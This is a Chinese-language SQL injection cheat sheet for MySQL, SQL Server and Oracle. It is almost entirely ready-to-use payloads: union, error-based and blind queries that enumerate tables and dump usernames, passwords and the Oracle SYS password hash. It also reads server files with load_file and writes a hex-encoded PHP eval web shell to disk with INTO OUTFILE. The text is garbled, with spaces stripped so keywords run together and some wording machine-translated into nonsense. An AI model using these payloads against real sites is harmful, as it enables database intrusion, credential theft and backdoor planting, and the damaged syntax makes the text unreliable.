0x01MysqlMysql划分:权限root普通用户版本mysql>5.0mysql<5.01.1root权限load_file和intooutfile用户必须有FILE权限,还需要知道网站的绝对路径才能判断是否有读写权限and(selectcount(*)frommysql.user)>0#and(selectcount(file_priv)frommysql.user)>#A,load_file()该函数用于读取源文件,只能读取带绝对路径的网页文件注意:路径符号“\”是错误的“\”是正确的“/”是正确的,转为十六进制,不是“”id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file('/var/www/index.php')(物理路径转为16进制)可用于读取数据库连接文件获取数据连接账号、密码等?id=1'and1=2unionselect1,load_file('D:\\wamp\\www\\111.php')%23id=1'and1=2unionselect1,load_file(0x443A2F77616D702F7777772F312E706870)%23B,intooutfile函数n条件:1.绝对路径2.可以用单引号?id=1unionselect1,"",3intooutfile'E:/study/WWW/evil.php'?id=1LIMIT0,1INTOOUTFILE'E:/study/WWW/evil.php'linesterminatedby0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27--1.2mysql联合查询1.2.1适用于mysqlversion2=低于5.0页面空白2、通过获取orderby字段个数的方法判断,例如:?id=1orderby4页面显示正常?id=1orderby5页面错误,说明字段数等于43获取显示位置?id=1and1=2unionselect1,2,3,4//比如页面上有几个数字,分别是2、3、4那么,这些数字就叫做显示数字4.猜手表名字的方法是,在第三步的完整地址后,加上:表格表名,例如:?id=1and1=2unionselect1,2,3,4fromusers这样当users表存在时,页面会正常显示。如果我们提交一个不存在的表名,页面就会出错。5.猜字段使用:concat(字段名)替换显示位的位置。?id=1and1=2unionselect1,2,3,concat(username,password)fromusers1.2.2适用于Mysql5.0及以上,支持查表和列查找1.首先判断是否可以注入and+1=1,页面正常且+1=2.页面空白2.获取字段数:使用orderby提交:?id=1orderby4正确。?id=1orderby5错误。然后判断字段数为4。3.提交获取显示位置:?id=1+and+1=2+union+select+1,2,3,4显示位置:2,3,44.获取信息?id=1+and+1=2+union+select+1,2,3,version()database()user()version()database()@@basedir数据库安装路径@@datadir数据库路径5.查表?id=1and1=2unionselect1,2,3,table_namefrominformation_schema.tableswheretable_schema=0x74657374(数据库名test的Hex)limit0,1--获取表:test6。查字段?id=1and1=2unionselect1,2,3,column_namefrominformation_schema.columnswheretable_name=0x74657374limit0,1--获取字段:id,username,password7。爆场内容?id=1+and+1=2+union+select+1,2,3,concat(username,password)from+test1.3mysql错误注入mysql暴力错误注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,基于错误的双重查询注入和其他方法。多种错误注入方式:and(select1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);and(selectcount(*)from(select1unionselectnullunionselect!1)xgroupbyconcat((selecttable_namefrominformation_schema.tableslimit1),floor(rand(0)*2)));andextractvalue(1,concat(0x5c,(selectVERSION()frominformation_schema.tableslimit1)))and1=(updatexml(1,concat(0x3a,(selectuser())),1))andGeometryCollection((select*from(select*from(select@@version)f)x))andpolygon((select*from(selectname_const(version(),1))x))andlinestring((select*from(select*from(selectuser())a)b))andmultilinestring((select*from(select*from(selectversion())a)b));andmultipoint((select*from(select*from(selectuser())a)b));andmultipolygon((select*from(select*from(selectuser())a)b));andexp(~(select*from(selectversion())a));1.4MySQL盲注入是基于布尔注入id=1and(selectlength(user()))=20#返回正常页面长度20位id=1andascii(substring((SELECTusernameFROMuserslimit0,1),1,1))=97//截取username一个数据的ascii值是根据时间类型note输入1xor(if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))1xorif(ascii(substr(user(),1,1))like1124,benchmark(1000000,md5('1')),'2')0x02SQLServerSA权限:数据库操作、文件管理、命令执行、注册表读取等db权限:文件管理、数据库操作等公共权限:数据库操作2.1SQLServer联合查询1.判断是否有注入?id=1and1=1--返回正确?id=1and1=2--返回错误2.获取字段数?id=1orderby2--返回正确页面?id=1orderby3--返回错误页面字段长度为23。查看数据库版本?id=1and1=2unionselectdb_name(),null//获取当前数据库4.查看表名?id=1and1=2unionselecttop1TABLE_NAME,2fromINFORMATION_SCHEMA.TABLESwheretable_namenotin('users')5.查看列Name?id=1and1=2unionselecttop1column_name,2frominformation_schema.columnswheretable_name='users'andcolumn_namenotin('uname')6。获取data?id=1and1=2unionselecttop1uname,nullfromusers2.2SQLServer错误注入1。获取表名?id=4'and1>(selecttop1TABLE_NAMEfromINFORMATION_SCHEMA.TABLESwhereTABLE_NAMEnotin('admin'))--2.获取列名?id=4'and1>(selecttop1COLUMN_NAMEfromINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME='admin'andcolumn_namenotin('id'))--3.获取数据?id=4'and1=(selecttop1pwdfromadmin)--4.获取数据库信息?id=1'and1=(select@@version)--//SQLServer2000?id=1'and1=(selectdb_name())//当前使用的数据库2.3SQLServer盲注1、猜??表名?id=1and(selectcount(*)fromsysobjectswherenamein(selecttop1namefromsysobjectswhereextype='u')andlen(name)=7)=1--//获取第一个表的长度7?id=1and(selectcount(*)fromsysobjectswherenamein(selecttop1namefromsysobjectswhereextype='u')andascii(substring(name,1,1))=116)=1--//截取第一个表第一位的ascii码?id=1and(selectcount(*)fromsysobjectswherenamein(selecttop1namefromsysobjectswhereextype='u'andnamenotin('users'))andascii(substring(name,1,1))>115)=1--//猜测第二张表的第一个ASCII值得到表名,进一步猜测字段2,猜测字段id=1and(selectcount(*)fromsyscolumnswherenamein(selecttop1namefromsyscolumnswhereid=(selectidfromsysobjectswherename='users'))andascii(substring(name,1,1))=117)=1//获取users表中第一个字段的ASCII值id=1and(selectcount(*)fromsyscolumnswherenamein(selecttop1namefromsyscolumnswhereid=(selectidfromsysobjectswherename='users'))andnamenotin('upass')andascii(substring(name,1,1))>90)=1--//获取用户第二个字段的第一个ASCII值表3.猜数据id=1and(ascii(substring((selecttop1unamefromusers),1,1)))=33--//获取users表0x03中uname字段的第一个ASCII值Oracle3.1联合查询Unionselectnull,null,null从第一个null开始'null',获取显示位置Unionselectnull,null,nullfromdual返回正确,存在双表UnionSelecttablespace_namefromuser_tablespaces//查数据库UnionSelecttable_namefromuser_tableswhererownum=1andtable_name<>'news'//查表UnionSelectcolumn_namefromuser_tab_columnsbyderwheretable_name='users'//查列?id=1or//获取字段数and+1=1+union+all+select+(SELECTbannerFROMv$versionwhererownum=1)+from+dual--//获取数据库版本and+1=1+union+all+select+(selectuserfromdualwhererownum=1)+from+dual--//获取当前连接数据库的用户名union+all+select+(selectpasswordfromsys.user$whererownum=1andname='SYS')+from+dual--//获取用户SYS密文密码union+all+select+(SELECTnameFROMv$database)+from+dual--//获取librarynameand+1=1+union+all+select+(selecttable_namefromuser_tableswhererownum=1)+from+dual--//?获取第一个表名3.2手动报错显示注入最大的区别是函数utl_inaddr.get_host_address,它10g可以调用,但是11g需要dba高权限//判断是否是oracle?id=1andexists(select*fromdual)--//获取数据库名称?id=1and1=utl_inaddr.get_host_address((SELECTnameFROMv$database))——//获取数据库服务器的ip?id=1and1=ctxsys.drithsx.sn(1,(selectUTL_INADDR.get_host_addressfromdualwhererownum=1))--?id=1and1=CTXSYS.CTX_QUERY.CHK_XPATH((selectbannerfromv$versionwhererownum=1),'a','b')--?id=1or1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((selectbannerfromv$versionwhererownum=1),'a','b')--?id=1and(selectdbms_xdb_version.uncheckout((selectuserfromdual))fromdual)isnotnull--?id=1and1=ctxsys.drithsx.sn(1,(selectuserfromdual))--3.3盲注根据布尔类型盲注:?id=7782'andlength((SELECTnameFROMv$database))=4--获取数据库名length?id=7782'andascii(substr((SELECTnameFROMv$database),1,1))=79--根据时间延迟获取数据库名第一位作为O盲注:?id=7782'and1=(CASEWHEN(ascii(substr((SELECTnameFROMv$数据库),1,1))=79)THEN1ELSE2END)--?id=7782'AND1=(CASEWHEN(ascii(substr((SELECTnameFROMv$database),1,1))=79)THENDBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5)ELSE1END)--
